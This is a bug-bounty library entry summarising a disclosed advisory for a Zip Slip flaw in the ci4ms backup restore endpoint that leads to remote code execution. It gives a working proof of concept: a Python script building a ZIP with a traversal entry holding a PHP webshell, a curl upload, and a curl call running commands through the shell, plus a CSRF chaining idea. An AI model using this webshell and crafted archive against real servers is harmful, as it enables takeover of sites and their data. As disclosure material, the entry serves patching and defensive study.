# CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE

ci4ms Backup::restore extracts uploaded ZIPs without validating entry names, letting a backend user write ../../public/shell.php and gain RCE.

- Payout: Research
- Severity: critical
- Program: ci4ms
- Found by: fg0x0
- Disclosed: 2026-04-22
- CVE: CVE-2026-41202
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xp9f-pvvc-57p4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xp9f-pvvc-57p4
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** PHP web app backup restore endpoint (ZipArchive::extractTo)
**Root cause:** Backup::restore calls ZipArchive::extractTo() on a user-uploaded ZIP without iterating entries to verify they resolve inside the destination directory, unlike the correct realpath+regex check in Methods.php.
**Steps:**
1. Build evil.zip with entries `../../public/shell.php` containing `<?php system($_GET["c"]); ?>` and `dump.sql`.
2. POST it to `backend/backup/restore` as `backup_file` with an authenticated session cookie.
3. ZipArchive::extractTo(WRITEPATH.'uploads/')` writes shell.php outside the upload dir into the public web root.
4. Request `https://target.example.com/shell.php?c=id` to execute commands as www-data.
**How found:** Code review of the restore action; noticed extractTo() called directly without entry validation, and contrasted with the correct realpath+regex loop already present in Methods.php:165-175.
**Exploitation:** Authenticated backend user with backup create permission uploads a crafted ZIP; extractTo writes a PHP webshell into the public web root; attacker then requests the shell with a command parameter. Route is in csrfExcept, so a logged-in admin visiting a malicious page can be forced to perform the restore cross-site (drive-by RCE).
**Escalation:** Chained with csrfExcept misconfiguration to convert authenticated-only RCE into CSRF-triggered drive-by RCE against administrators.
**Insight:** When a codebase has one hardened extraction helper (realpath+regex loop in Methods.php), grep for other extractTo/unzip call sites that skip it — inconsistent hardening across sibling modules is a reliable Zip Slip signal.

## Proof of concept (copied exactly from the original report)

**Python script building malicious zip with traversal entry**

```
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')
"
```

**curl upload of evil.zip to restore endpoint**

```
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'backup_file=@evil.zip' \
  https://target.example.com/backend/backup/restore
```

**curl triggering the dropped webshell**

```
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

